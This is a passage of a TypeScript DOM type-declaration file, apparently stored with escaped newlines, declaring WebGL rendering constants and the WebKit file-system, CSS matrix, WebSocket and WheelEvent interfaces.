FLOAT: number;\\n    readonly FLOAT_MAT2: number;\\n    readonly FLOAT_MAT3: number;\\n    readonly FLOAT_MAT4: number;\\n    readonly FLOAT_VEC2: number;\\n    readonly FLOAT_VEC3: number;\\n    readonly FLOAT_VEC4: number;\\n    readonly FRAGMENT_SHADER: number;\\n    readonly FRAMEBUFFER: number;\\n    readonly FRAMEBUFFER_ATTACHMENT_OBJECT_NAME: number;\\n    readonly FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE: number;\\n    readonly FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE: number;\\n    readonly FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL: number;\\n    readonly FRAMEBUFFER_BINDING: number;\\n    readonly FRAMEBUFFER_COMPLETE: number;\\n    readonly FRAMEBUFFER_INCOMPLETE_ATTACHMENT: number;\\n    readonly FRAMEBUFFER_INCOMPLETE_DIMENSIONS: number;\\n    readonly FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT: number;\\n    readonly FRAMEBUFFER_UNSUPPORTED: number;\\n    readonly FRONT: number;\\n    readonly FRONT_AND_BACK: number;\\n    readonly FRONT_FACE: number;\\n    readonly FUNC_ADD: number;\\n    readonly FUNC_REVERSE_SUBTRACT: number;\\n    readonly FUNC_SUBTRACT: number;\\n    readonly GENERATE_MIPMAP_HINT: number;\\n    readonly GEQUAL: number;\\n    readonly GREATER: number;\\n    readonly GREEN_BITS: number;\\n    readonly HIGH_FLOAT: number;\\n    readonly HIGH_INT: number;\\n    readonly IMPLEMENTATION_COLOR_READ_FORMAT: number;\\n    readonly IMPLEMENTATION_COLOR_READ_TYPE: number;\\n    readonly INCR: number;\\n    readonly INCR_WRAP: number;\\n    readonly INT: number;\\n    readonly INT_VEC2: number;\\n    readonly INT_VEC3: number;\\n    readonly INT_VEC4: number;\\n    readonly INVALID_ENUM: number;\\n    readonly INVALID_FRAMEBUFFER_OPERATION: number;\\n    readonly INVALID_OPERATION: number;\\n    readonly INVALID_VALUE: number;\\n    readonly INVERT: number;\\n    readonly KEEP: number;\\n    readonly LEQUAL: number;\\n    readonly LESS: number;\\n    readonly LINE_LOOP: number;\\n    readonly LINE_STRIP: number;\\n    readonly LINE_WIDTH: number;\\n    readonly LINEAR: number;\\n    readonly LINEAR_MIPMAP_LINEAR: number;\\n    readonly LINEAR_MIPMAP_NEAREST: number;\\n    readonly LINES: number;\\n    readonly LINK_STATUS: number;\\n    readonly LOW_FLOAT: number;\\n    readonly LOW_INT: number;\\n    readonly LUMINANCE: number;\\n    readonly LUMINANCE_ALPHA: number;\\n    readonly MAX_COMBINED_TEXTURE_IMAGE_UNITS: number;\\n    readonly MAX_CUBE_MAP_TEXTURE_SIZE: number;\\n    readonly MAX_FRAGMENT_UNIFORM_VECTORS: number;\\n    readonly MAX_RENDERBUFFER_SIZE: number;\\n    readonly MAX_TEXTURE_IMAGE_UNITS: number;\\n    readonly MAX_TEXTURE_SIZE: number;\\n    readonly MAX_VARYING_VECTORS: number;\\n    readonly MAX_VERTEX_ATTRIBS: number;\\n    readonly MAX_VERTEX_TEXTURE_IMAGE_UNITS: number;\\n    readonly MAX_VERTEX_UNIFORM_VECTORS: number;\\n    readonly MAX_VIEWPORT_DIMS: number;\\n    readonly MEDIUM_FLOAT: number;\\n    readonly MEDIUM_INT: number;\\n    readonly MIRRORED_REPEAT: number;\\n    readonly NEAREST: number;\\n    readonly NEAREST_MIPMAP_LINEAR: number;\\n    readonly NEAREST_MIPMAP_NEAREST: number;\\n    readonly NEVER: number;\\n    readonly NICEST: number;\\n    readonly NO_ERROR: number;\\n    readonly NONE: number;\\n    readonly NOTEQUAL: number;\\n    readonly ONE: number;\\n    readonly ONE_MINUS_CONSTANT_ALPHA: number;\\n    readonly ONE_MINUS_CONSTANT_COLOR: number;\\n    readonly ONE_MINUS_DST_ALPHA: number;\\n    readonly ONE_MINUS_DST_COLOR: number;\\n    readonly ONE_MINUS_SRC_ALPHA: number;\\n    readonly ONE_MINUS_SRC_COLOR: number;\\n    readonly OUT_OF_MEMORY: number;\\n    readonly PACK_ALIGNMENT: number;\\n    readonly POINTS: number;\\n    readonly POLYGON_OFFSET_FACTOR: number;\\n    readonly POLYGON_OFFSET_FILL: number;\\n    readonly POLYGON_OFFSET_UNITS: number;\\n    readonly RED_BITS: number;\\n    readonly RENDERBUFFER: number;\\n    readonly RENDERBUFFER_ALPHA_SIZE: number;\\n    readonly RENDERBUFFER_BINDING: number;\\n    readonly RENDERBUFFER_BLUE_SIZE: number;\\n    readonly RENDERBUFFER_DEPTH_SIZE: number;\\n    readonly RENDERBUFFER_GREEN_SIZE: number;\\n    readonly RENDERBUFFER_HEIGHT: number;\\n    readonly RENDERBUFFER_INTERNAL_FORMAT: number;\\n    readonly RENDERBUFFER_RED_SIZE: number;\\n    readonly RENDERBUFFER_STENCIL_SIZE: number;\\n    readonly RENDERBUFFER_WIDTH: number;\\n    readonly RENDERER: number;\\n    readonly REPEAT: number;\\n    readonly REPLACE: number;\\n    readonly RGB: number;\\n    readonly RGB5_A1: number;\\n    readonly RGB565: number;\\n    readonly RGBA: number;\\n    readonly RGBA4: number;\\n    readonly SAMPLE_ALPHA_TO_COVERAGE: number;\\n    readonly SAMPLE_BUFFERS: number;\\n    readonly SAMPLE_COVERAGE: number;\\n    readonly SAMPLE_COVERAGE_INVERT: number;\\n    readonly SAMPLE_COVERAGE_VALUE: number;\\n    readonly SAMPLER_2D: number;\\n    readonly SAMPLER_CUBE: number;\\n    readonly SAMPLES: number;\\n    readonly SCISSOR_BOX: number;\\n    readonly SCISSOR_TEST: number;\\n    readonly SHADER_TYPE: number;\\n    readonly SHADING_LANGUAGE_VERSION: number;\\n    readonly SHORT: number;\\n    readonly SRC_ALPHA: number;\\n    readonly SRC_ALPHA_SATURATE: number;\\n    readonly SRC_COLOR: number;\\n    readonly STATIC_DRAW: number;\\n    readonly STENCIL_ATTACHMENT: number;\\n    readonly STENCIL_BACK_FAIL: number;\\n    readonly STENCIL_BACK_FUNC: number;\\n    readonly STENCIL_BACK_PASS_DEPTH_FAIL: number;\\n    readonly STENCIL_BACK_PASS_DEPTH_PASS: number;\\n    readonly STENCIL_BACK_REF: number;\\n    readonly STENCIL_BACK_VALUE_MASK: number;\\n    readonly STENCIL_BACK_WRITEMASK: number;\\n    readonly STENCIL_BITS: number;\\n    readonly STENCIL_BUFFER_BIT: number;\\n    readonly STENCIL_CLEAR_VALUE: number;\\n    readonly STENCIL_FAIL: number;\\n    readonly STENCIL_FUNC: number;\\n    readonly STENCIL_INDEX: number;\\n    readonly STENCIL_INDEX8: number;\\n    readonly STENCIL_PASS_DEPTH_FAIL: number;\\n    readonly STENCIL_PASS_DEPTH_PASS: number;\\n    readonly STENCIL_REF: number;\\n    readonly STENCIL_TEST: number;\\n    readonly STENCIL_VALUE_MASK: number;\\n    readonly STENCIL_WRITEMASK: number;\\n    readonly STREAM_DRAW: number;\\n    readonly SUBPIXEL_BITS: number;\\n    readonly TEXTURE: number;\\n    readonly TEXTURE_2D: number;\\n    readonly TEXTURE_BINDING_2D: number;\\n    readonly TEXTURE_BINDING_CUBE_MAP: number;\\n    readonly TEXTURE_CUBE_MAP: number;\\n    readonly TEXTURE_CUBE_MAP_NEGATIVE_X: number;\\n    readonly TEXTURE_CUBE_MAP_NEGATIVE_Y: number;\\n    readonly TEXTURE_CUBE_MAP_NEGATIVE_Z: number;\\n    readonly TEXTURE_CUBE_MAP_POSITIVE_X: number;\\n    readonly TEXTURE_CUBE_MAP_POSITIVE_Y: number;\\n    readonly TEXTURE_CUBE_MAP_POSITIVE_Z: number;\\n    readonly TEXTURE_MAG_FILTER: number;\\n    readonly TEXTURE_MIN_FILTER: number;\\n    readonly TEXTURE_WRAP_S: number;\\n    readonly TEXTURE_WRAP_T: number;\\n    readonly TEXTURE0: number;\\n    readonly TEXTURE1: number;\\n    readonly TEXTURE10: number;\\n    readonly TEXTURE11: number;\\n    readonly TEXTURE12: number;\\n    readonly TEXTURE13: number;\\n    readonly TEXTURE14: number;\\n    readonly TEXTURE15: number;\\n    readonly TEXTURE16: number;\\n    readonly TEXTURE17: number;\\n    readonly TEXTURE18: number;\\n    readonly TEXTURE19: number;\\n    readonly TEXTURE2: number;\\n    readonly TEXTURE20: number;\\n    readonly TEXTURE21: number;\\n    readonly TEXTURE22: number;\\n    readonly TEXTURE23: number;\\n    readonly TEXTURE24: number;\\n    readonly TEXTURE25: number;\\n    readonly TEXTURE26: number;\\n    readonly TEXTURE27: number;\\n    readonly TEXTURE28: number;\\n    readonly TEXTURE29: number;\\n    readonly TEXTURE3: number;\\n    readonly TEXTURE30: number;\\n    readonly TEXTURE31: number;\\n    readonly TEXTURE4: number;\\n    readonly TEXTURE5: number;\\n    readonly TEXTURE6: number;\\n    readonly TEXTURE7: number;\\n    readonly TEXTURE8: number;\\n    readonly TEXTURE9: number;\\n    readonly TRIANGLE_FAN: number;\\n    readonly TRIANGLE_STRIP: number;\\n    readonly TRIANGLES: number;\\n    readonly UNPACK_ALIGNMENT: number;\\n    readonly UNPACK_COLORSPACE_CONVERSION_WEBGL: number;\\n    readonly UNPACK_FLIP_Y_WEBGL: number;\\n    readonly UNPACK_PREMULTIPLY_ALPHA_WEBGL: number;\\n    readonly UNSIGNED_BYTE: number;\\n    readonly UNSIGNED_INT: number;\\n    readonly UNSIGNED_SHORT: number;\\n    readonly UNSIGNED_SHORT_4_4_4_4: number;\\n    readonly UNSIGNED_SHORT_5_5_5_1: number;\\n    readonly UNSIGNED_SHORT_5_6_5: number;\\n    readonly VALIDATE_STATUS: number;\\n    readonly VENDOR: number;\\n    readonly VERSION: number;\\n    readonly VERTEX_ATTRIB_ARRAY_BUFFER_BINDING: number;\\n    readonly VERTEX_ATTRIB_ARRAY_ENABLED: number;\\n    readonly VERTEX_ATTRIB_ARRAY_NORMALIZED: number;\\n    readonly VERTEX_ATTRIB_ARRAY_POINTER: number;\\n    readonly VERTEX_ATTRIB_ARRAY_SIZE: number;\\n    readonly VERTEX_ATTRIB_ARRAY_STRIDE: number;\\n    readonly VERTEX_ATTRIB_ARRAY_TYPE: number;\\n    readonly VERTEX_SHADER: number;\\n    readonly VIEWPORT: number;\\n    readonly ZERO: number;\\n}\\n\\ndeclare var WebGLRenderingContext: {\\n    prototype: WebGLRenderingContext;\\n    new(): WebGLRenderingContext;\\n    readonly ACTIVE_ATTRIBUTES: number;\\n    readonly ACTIVE_TEXTURE: number;\\n    readonly ACTIVE_UNIFORMS: number;\\n    readonly ALIASED_LINE_WIDTH_RANGE: number;\\n    readonly ALIASED_POINT_SIZE_RANGE: number;\\n    readonly ALPHA: number;\\n    readonly ALPHA_BITS: number;\\n    readonly ALWAYS: number;\\n    readonly ARRAY_BUFFER: number;\\n    readonly ARRAY_BUFFER_BINDING: number;\\n    readonly ATTACHED_SHADERS: number;\\n    readonly BACK: number;\\n    readonly BLEND: number;\\n    readonly BLEND_COLOR: number;\\n    readonly BLEND_DST_ALPHA: number;\\n    readonly BLEND_DST_RGB: number;\\n    readonly BLEND_EQUATION: number;\\n    readonly BLEND_EQUATION_ALPHA: number;\\n    readonly BLEND_EQUATION_RGB: number;\\n    readonly BLEND_SRC_ALPHA: number;\\n    readonly BLEND_SRC_RGB: number;\\n    readonly BLUE_BITS: number;\\n    readonly BOOL: number;\\n    readonly BOOL_VEC2: number;\\n    readonly BOOL_VEC3: number;\\n    readonly BOOL_VEC4: number;\\n    readonly BROWSER_DEFAULT_WEBGL: number;\\n    readonly BUFFER_SIZE: number;\\n    readonly BUFFER_USAGE: number;\\n    readonly BYTE: number;\\n    readonly CCW: number;\\n    readonly CLAMP_TO_EDGE: number;\\n    readonly COLOR_ATTACHMENT0: number;\\n    readonly COLOR_BUFFER_BIT: number;\\n    readonly COLOR_CLEAR_VALUE: number;\\n    readonly COLOR_WRITEMASK: number;\\n    readonly COMPILE_STATUS: number;\\n    readonly COMPRESSED_TEXTURE_FORMATS: number;\\n    readonly CONSTANT_ALPHA: number;\\n    readonly CONSTANT_COLOR: number;\\n    readonly CONTEXT_LOST_WEBGL: number;\\n    readonly CULL_FACE: number;\\n    readonly CULL_FACE_MODE: number;\\n    readonly CURRENT_PROGRAM: number;\\n    readonly CURRENT_VERTEX_ATTRIB: number;\\n    readonly CW: number;\\n    readonly DECR: number;\\n    readonly DECR_WRAP: number;\\n    readonly DELETE_STATUS: number;\\n    readonly DEPTH_ATTACHMENT: number;\\n    readonly DEPTH_BITS: number;\\n    readonly DEPTH_BUFFER_BIT: number;\\n    readonly DEPTH_CLEAR_VALUE: number;\\n    readonly DEPTH_COMPONENT: number;\\n    readonly DEPTH_COMPONENT16: number;\\n    readonly DEPTH_FUNC: number;\\n    readonly DEPTH_RANGE: number;\\n    readonly DEPTH_STENCIL: number;\\n    readonly DEPTH_STENCIL_ATTACHMENT: number;\\n    readonly DEPTH_TEST: number;\\n    readonly DEPTH_WRITEMASK: number;\\n    readonly DITHER: number;\\n    readonly DONT_CARE: number;\\n    readonly DST_ALPHA: number;\\n    readonly DST_COLOR: number;\\n    readonly DYNAMIC_DRAW: number;\\n    readonly ELEMENT_ARRAY_BUFFER: number;\\n    readonly ELEMENT_ARRAY_BUFFER_BINDING: number;\\n    readonly EQUAL: number;\\n    readonly FASTEST: number;\\n    readonly FLOAT: number;\\n    readonly FLOAT_MAT2: number;\\n    readonly FLOAT_MAT3: number;\\n    readonly FLOAT_MAT4: number;\\n    readonly FLOAT_VEC2: number;\\n    readonly FLOAT_VEC3: number;\\n    readonly FLOAT_VEC4: number;\\n    readonly FRAGMENT_SHADER: number;\\n    readonly FRAMEBUFFER: number;\\n    readonly FRAMEBUFFER_ATTACHMENT_OBJECT_NAME: number;\\n    readonly FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE: number;\\n    readonly FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE: number;\\n    readonly FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL: number;\\n    readonly FRAMEBUFFER_BINDING: number;\\n    readonly FRAMEBUFFER_COMPLETE: number;\\n    readonly FRAMEBUFFER_INCOMPLETE_ATTACHMENT: number;\\n    readonly FRAMEBUFFER_INCOMPLETE_DIMENSIONS: number;\\n    readonly FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT: number;\\n    readonly FRAMEBUFFER_UNSUPPORTED: number;\\n    readonly FRONT: number;\\n    readonly FRONT_AND_BACK: number;\\n    readonly FRONT_FACE: number;\\n    readonly FUNC_ADD: number;\\n    readonly FUNC_REVERSE_SUBTRACT: number;\\n    readonly FUNC_SUBTRACT: number;\\n    readonly GENERATE_MIPMAP_HINT: number;\\n    readonly GEQUAL: number;\\n    readonly GREATER: number;\\n    readonly GREEN_BITS: number;\\n    readonly HIGH_FLOAT: number;\\n    readonly HIGH_INT: number;\\n    readonly IMPLEMENTATION_COLOR_READ_FORMAT: number;\\n    readonly IMPLEMENTATION_COLOR_READ_TYPE: number;\\n    readonly INCR: number;\\n    readonly INCR_WRAP: number;\\n    readonly INT: number;\\n    readonly INT_VEC2: number;\\n    readonly INT_VEC3: number;\\n    readonly INT_VEC4: number;\\n    readonly INVALID_ENUM: number;\\n    readonly INVALID_FRAMEBUFFER_OPERATION: number;\\n    readonly INVALID_OPERATION: number;\\n    readonly INVALID_VALUE: number;\\n    readonly INVERT: number;\\n    readonly KEEP: number;\\n    readonly LEQUAL: number;\\n    readonly LESS: number;\\n    readonly LINE_LOOP: number;\\n    readonly LINE_STRIP: number;\\n    readonly LINE_WIDTH: number;\\n    readonly LINEAR: number;\\n    readonly LINEAR_MIPMAP_LINEAR: number;\\n    readonly LINEAR_MIPMAP_NEAREST: number;\\n    readonly LINES: number;\\n    readonly LINK_STATUS: number;\\n    readonly LOW_FLOAT: number;\\n    readonly LOW_INT: number;\\n    readonly LUMINANCE: number;\\n    readonly LUMINANCE_ALPHA: number;\\n    readonly MAX_COMBINED_TEXTURE_IMAGE_UNITS: number;\\n    readonly MAX_CUBE_MAP_TEXTURE_SIZE: number;\\n    readonly MAX_FRAGMENT_UNIFORM_VECTORS: number;\\n    readonly MAX_RENDERBUFFER_SIZE: number;\\n    readonly MAX_TEXTURE_IMAGE_UNITS: number;\\n    readonly MAX_TEXTURE_SIZE: number;\\n    readonly MAX_VARYING_VECTORS: number;\\n    readonly MAX_VERTEX_ATTRIBS: number;\\n    readonly MAX_VERTEX_TEXTURE_IMAGE_UNITS: number;\\n    readonly MAX_VERTEX_UNIFORM_VECTORS: number;\\n    readonly MAX_VIEWPORT_DIMS: number;\\n    readonly MEDIUM_FLOAT: number;\\n    readonly MEDIUM_INT: number;\\n    readonly MIRRORED_REPEAT: number;\\n    readonly NEAREST: number;\\n    readonly NEAREST_MIPMAP_LINEAR: number;\\n    readonly NEAREST_MIPMAP_NEAREST: number;\\n    readonly NEVER: number;\\n    readonly NICEST: number;\\n    readonly NO_ERROR: number;\\n    readonly NONE: number;\\n    readonly NOTEQUAL: number;\\n    readonly ONE: number;\\n    readonly ONE_MINUS_CONSTANT_ALPHA: number;\\n    readonly ONE_MINUS_CONSTANT_COLOR: number;\\n    readonly ONE_MINUS_DST_ALPHA: number;\\n    readonly ONE_MINUS_DST_COLOR: number;\\n    readonly ONE_MINUS_SRC_ALPHA: number;\\n    readonly ONE_MINUS_SRC_COLOR: number;\\n    readonly OUT_OF_MEMORY: number;\\n    readonly PACK_ALIGNMENT: number;\\n    readonly POINTS: number;\\n    readonly POLYGON_OFFSET_FACTOR: number;\\n    readonly POLYGON_OFFSET_FILL: number;\\n    readonly POLYGON_OFFSET_UNITS: number;\\n    readonly RED_BITS: number;\\n    readonly RENDERBUFFER: number;\\n    readonly RENDERBUFFER_ALPHA_SIZE: number;\\n    readonly RENDERBUFFER_BINDING: number;\\n    readonly RENDERBUFFER_BLUE_SIZE: number;\\n    readonly RENDERBUFFER_DEPTH_SIZE: number;\\n    readonly RENDERBUFFER_GREEN_SIZE: number;\\n    readonly RENDERBUFFER_HEIGHT: number;\\n    readonly RENDERBUFFER_INTERNAL_FORMAT: number;\\n    readonly RENDERBUFFER_RED_SIZE: number;\\n    readonly RENDERBUFFER_STENCIL_SIZE: number;\\n    readonly RENDERBUFFER_WIDTH: number;\\n    readonly RENDERER: number;\\n    readonly REPEAT: number;\\n    readonly REPLACE: number;\\n    readonly RGB: number;\\n    readonly RGB5_A1: number;\\n    readonly RGB565: number;\\n    readonly RGBA: number;\\n    readonly RGBA4: number;\\n    readonly SAMPLE_ALPHA_TO_COVERAGE: number;\\n    readonly SAMPLE_BUFFERS: number;\\n    readonly SAMPLE_COVERAGE: number;\\n    readonly SAMPLE_COVERAGE_INVERT: number;\\n    readonly SAMPLE_COVERAGE_VALUE: number;\\n    readonly SAMPLER_2D: number;\\n    readonly SAMPLER_CUBE: number;\\n    readonly SAMPLES: number;\\n    readonly SCISSOR_BOX: number;\\n    readonly SCISSOR_TEST: number;\\n    readonly SHADER_TYPE: number;\\n    readonly SHADING_LANGUAGE_VERSION: number;\\n    readonly SHORT: number;\\n    readonly SRC_ALPHA: number;\\n    readonly SRC_ALPHA_SATURATE: number;\\n    readonly SRC_COLOR: number;\\n    readonly STATIC_DRAW: number;\\n    readonly STENCIL_ATTACHMENT: number;\\n    readonly STENCIL_BACK_FAIL: number;\\n    readonly STENCIL_BACK_FUNC: number;\\n    readonly STENCIL_BACK_PASS_DEPTH_FAIL: number;\\n    readonly STENCIL_BACK_PASS_DEPTH_PASS: number;\\n    readonly STENCIL_BACK_REF: number;\\n    readonly STENCIL_BACK_VALUE_MASK: number;\\n    readonly STENCIL_BACK_WRITEMASK: number;\\n    readonly STENCIL_BITS: number;\\n    readonly STENCIL_BUFFER_BIT: number;\\n    readonly STENCIL_CLEAR_VALUE: number;\\n    readonly STENCIL_FAIL: number;\\n    readonly STENCIL_FUNC: number;\\n    readonly STENCIL_INDEX: number;\\n    readonly STENCIL_INDEX8: number;\\n    readonly STENCIL_PASS_DEPTH_FAIL: number;\\n    readonly STENCIL_PASS_DEPTH_PASS: number;\\n    readonly STENCIL_REF: number;\\n    readonly STENCIL_TEST: number;\\n    readonly STENCIL_VALUE_MASK: number;\\n    readonly STENCIL_WRITEMASK: number;\\n    readonly STREAM_DRAW: number;\\n    readonly SUBPIXEL_BITS: number;\\n    readonly TEXTURE: number;\\n    readonly TEXTURE_2D: number;\\n    readonly TEXTURE_BINDING_2D: number;\\n    readonly TEXTURE_BINDING_CUBE_MAP: number;\\n    readonly TEXTURE_CUBE_MAP: number;\\n    readonly TEXTURE_CUBE_MAP_NEGATIVE_X: number;\\n    readonly TEXTURE_CUBE_MAP_NEGATIVE_Y: number;\\n    readonly TEXTURE_CUBE_MAP_NEGATIVE_Z: number;\\n    readonly TEXTURE_CUBE_MAP_POSITIVE_X: number;\\n    readonly TEXTURE_CUBE_MAP_POSITIVE_Y: number;\\n    readonly TEXTURE_CUBE_MAP_POSITIVE_Z: number;\\n    readonly TEXTURE_MAG_FILTER: number;\\n    readonly TEXTURE_MIN_FILTER: number;\\n    readonly TEXTURE_WRAP_S: number;\\n    readonly TEXTURE_WRAP_T: number;\\n    readonly TEXTURE0: number;\\n    readonly TEXTURE1: number;\\n    readonly TEXTURE10: number;\\n    readonly TEXTURE11: number;\\n    readonly TEXTURE12: number;\\n    readonly TEXTURE13: number;\\n    readonly TEXTURE14: number;\\n    readonly TEXTURE15: number;\\n    readonly TEXTURE16: number;\\n    readonly TEXTURE17: number;\\n    readonly TEXTURE18: number;\\n    readonly TEXTURE19: number;\\n    readonly TEXTURE2: number;\\n    readonly TEXTURE20: number;\\n    readonly TEXTURE21: number;\\n    readonly TEXTURE22: number;\\n    readonly TEXTURE23: number;\\n    readonly TEXTURE24: number;\\n    readonly TEXTURE25: number;\\n    readonly TEXTURE26: number;\\n    readonly TEXTURE27: number;\\n    readonly TEXTURE28: number;\\n    readonly TEXTURE29: number;\\n    readonly TEXTURE3: number;\\n    readonly TEXTURE30: number;\\n    readonly TEXTURE31: number;\\n    readonly TEXTURE4: number;\\n    readonly TEXTURE5: number;\\n    readonly TEXTURE6: number;\\n    readonly TEXTURE7: number;\\n    readonly TEXTURE8: number;\\n    readonly TEXTURE9: number;\\n    readonly TRIANGLE_FAN: number;\\n    readonly TRIANGLE_STRIP: number;\\n    readonly TRIANGLES: number;\\n    readonly UNPACK_ALIGNMENT: number;\\n    readonly UNPACK_COLORSPACE_CONVERSION_WEBGL: number;\\n    readonly UNPACK_FLIP_Y_WEBGL: number;\\n    readonly UNPACK_PREMULTIPLY_ALPHA_WEBGL: number;\\n    readonly UNSIGNED_BYTE: number;\\n    readonly UNSIGNED_INT: number;\\n    readonly UNSIGNED_SHORT: number;\\n    readonly UNSIGNED_SHORT_4_4_4_4: number;\\n    readonly UNSIGNED_SHORT_5_5_5_1: number;\\n    readonly UNSIGNED_SHORT_5_6_5: number;\\n    readonly VALIDATE_STATUS: number;\\n    readonly VENDOR: number;\\n    readonly VERSION: number;\\n    readonly VERTEX_ATTRIB_ARRAY_BUFFER_BINDING: number;\\n    readonly VERTEX_ATTRIB_ARRAY_ENABLED: number;\\n    readonly VERTEX_ATTRIB_ARRAY_NORMALIZED: number;\\n    readonly VERTEX_ATTRIB_ARRAY_POINTER: number;\\n    readonly VERTEX_ATTRIB_ARRAY_SIZE: number;\\n    readonly VERTEX_ATTRIB_ARRAY_STRIDE: number;\\n    readonly VERTEX_ATTRIB_ARRAY_TYPE: number;\\n    readonly VERTEX_SHADER: number;\\n    readonly VIEWPORT: number;\\n    readonly ZERO: number;\\n};\\n\\ninterface WebGLShader extends WebGLObject {\\n}\\n\\ndeclare var WebGLShader: {\\n    prototype: WebGLShader;\\n    new(): WebGLShader;\\n};\\n\\ninterface WebGLShaderPrecisionFormat {\\n    readonly precision: number;\\n    readonly rangeMax: number;\\n    readonly rangeMin: number;\\n}\\n\\ndeclare var WebGLShaderPrecisionFormat: {\\n    prototype: WebGLShaderPrecisionFormat;\\n    new(): WebGLShaderPrecisionFormat;\\n};\\n\\ninterface WebGLTexture extends WebGLObject {\\n}\\n\\ndeclare var WebGLTexture: {\\n    prototype: WebGLTexture;\\n    new(): WebGLTexture;\\n};\\n\\ninterface WebGLUniformLocation {\\n}\\n\\ndeclare var WebGLUniformLocation: {\\n    prototype: WebGLUniformLocation;\\n    new(): WebGLUniformLocation;\\n};\\n\\ninterface WebKitCSSMatrix {\\n    a: number;\\n    b: number;\\n    c: number;\\n    d: number;\\n    e: number;\\n    f: number;\\n    m11: number;\\n    m12: number;\\n    m13: number;\\n    m14: number;\\n    m21: number;\\n    m22: number;\\n    m23: number;\\n    m24: number;\\n    m31: number;\\n    m32: number;\\n    m33: number;\\n    m34: number;\\n    m41: number;\\n    m42: number;\\n    m43: number;\\n    m44: number;\\n    inverse(): WebKitCSSMatrix;\\n    multiply(secondMatrix: WebKitCSSMatrix): WebKitCSSMatrix;\\n    rotate(angleX: number, angleY?: number, angleZ?: number): WebKitCSSMatrix;\\n    rotateAxisAngle(x: number, y: number, z: number, angle: number): WebKitCSSMatrix;\\n    scale(scaleX: number, scaleY?: number, scaleZ?: number): WebKitCSSMatrix;\\n    setMatrixValue(value: string): void;\\n    skewX(angle: number): WebKitCSSMatrix;\\n    skewY(angle: number): WebKitCSSMatrix;\\n    toString(): string;\\n    translate(x: number, y: number, z?: number): WebKitCSSMatrix;\\n}\\n\\ndeclare var WebKitCSSMatrix: {\\n    prototype: WebKitCSSMatrix;\\n    new(text?: string): WebKitCSSMatrix;\\n};\\n\\ninterface WebKitDirectoryEntry extends WebKitEntry {\\n    createReader(): WebKitDirectoryReader;\\n}\\n\\ndeclare var WebKitDirectoryEntry: {\\n    prototype: WebKitDirectoryEntry;\\n    new(): WebKitDirectoryEntry;\\n};\\n\\ninterface WebKitDirectoryReader {\\n    readEntries(successCallback: WebKitEntriesCallback, errorCallback?: WebKitErrorCallback): void;\\n}\\n\\ndeclare var WebKitDirectoryReader: {\\n    prototype: WebKitDirectoryReader;\\n    new(): WebKitDirectoryReader;\\n};\\n\\ninterface WebKitEntry {\\n    readonly filesystem: WebKitFileSystem;\\n    readonly fullPath: string;\\n    readonly isDirectory: boolean;\\n    readonly isFile: boolean;\\n    readonly name: string;\\n}\\n\\ndeclare var WebKitEntry: {\\n    prototype: WebKitEntry;\\n    new(): WebKitEntry;\\n};\\n\\ninterface WebKitFileEntry extends WebKitEntry {\\n    file(successCallback: WebKitFileCallback, errorCallback?: WebKitErrorCallback): void;\\n}\\n\\ndeclare var WebKitFileEntry: {\\n    prototype: WebKitFileEntry;\\n    new(): WebKitFileEntry;\\n};\\n\\ninterface WebKitFileSystem {\\n    readonly name: string;\\n    readonly root: WebKitDirectoryEntry;\\n}\\n\\ndeclare var WebKitFileSystem: {\\n    prototype: WebKitFileSystem;\\n    new(): WebKitFileSystem;\\n};\\n\\ninterface WebKitPoint {\\n    x: number;\\n    y: number;\\n}\\n\\ndeclare var WebKitPoint: {\\n    prototype: WebKitPoint;\\n    new(x?: number, y?: number): WebKitPoint;\\n};\\n\\ninterface webkitRTCPeerConnection extends RTCPeerConnection {\\n    addEventListener<K extends keyof RTCPeerConnectionEventMap>(type: K, listener: (this: webkitRTCPeerConnection, ev: RTCPeerConnectionEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var webkitRTCPeerConnection: {\\n    prototype: webkitRTCPeerConnection;\\n    new(configuration: RTCConfiguration): webkitRTCPeerConnection;\\n};\\n\\ninterface WebSocketEventMap {\\n    \"close\": CloseEvent;\\n    \"error\": Event;\\n    \"message\": MessageEvent;\\n    \"open\": Event;\\n}\\n\\ninterface WebSocket extends EventTarget {\\n    binaryType: string;\\n    readonly bufferedAmount: number;\\n    readonly extensions: string;\\n    onclose: (this: WebSocket, ev: CloseEvent) => any;\\n    onerror: (this: WebSocket, ev: Event) => any;\\n    onmessage: (this: WebSocket, ev: MessageEvent) => any;\\n    onopen: (this: WebSocket, ev: Event) => any;\\n    readonly protocol: string;\\n    readonly readyState: number;\\n    readonly url: string;\\n    close(code?: number, reason?: string): void;\\n    send(data: any): void;\\n    readonly CLOSED: number;\\n    readonly CLOSING: number;\\n    readonly CONNECTING: number;\\n    readonly OPEN: number;\\n    addEventListener<K extends keyof WebSocketEventMap>(type: K, listener: (this: WebSocket, ev: WebSocketEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var WebSocket: {\\n    prototype: WebSocket;\\n    new(url: string, protocols?: string | string[]): WebSocket;\\n    readonly CLOSED: number;\\n    readonly CLOSING: number;\\n    readonly CONNECTING: number;\\n    readonly OPEN: number;\\n};\\n\\ninterface WheelEvent extends MouseEvent {\\n    readonly deltaMode: number;\\n    readonly deltaX: number;\\n    readonly deltaY: number;\\n    readonly deltaZ: number;\\n    readonly wheelDelta: number;\\n    readonly wheelDeltaX: number;\\n    readonly wheelDeltaY: number;\\n    getCurrentPoint(element: Element): void;\\n    initWheelEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, viewArg: Window, detailArg: number, screenXArg: number, screenYArg: number, clientXArg: number, clientYArg: number, buttonArg: number, relatedTargetArg: EventTarget, modifiersListArg: string, deltaXArg: number, deltaYArg: number, deltaZArg: number, deltaMode: number): void;\\n    readonly DOM_DELTA_LINE: number;\\n    readonly DOM_DELTA_PAGE: number;\\n    readonly DOM_DELTA_PIXEL: number;\\n}\\n\\ndeclare var WheelEvent: {\\n    prototype: WheelEvent;\\n    new(typeArg: string, eventInitDict?: WheelEventInit): 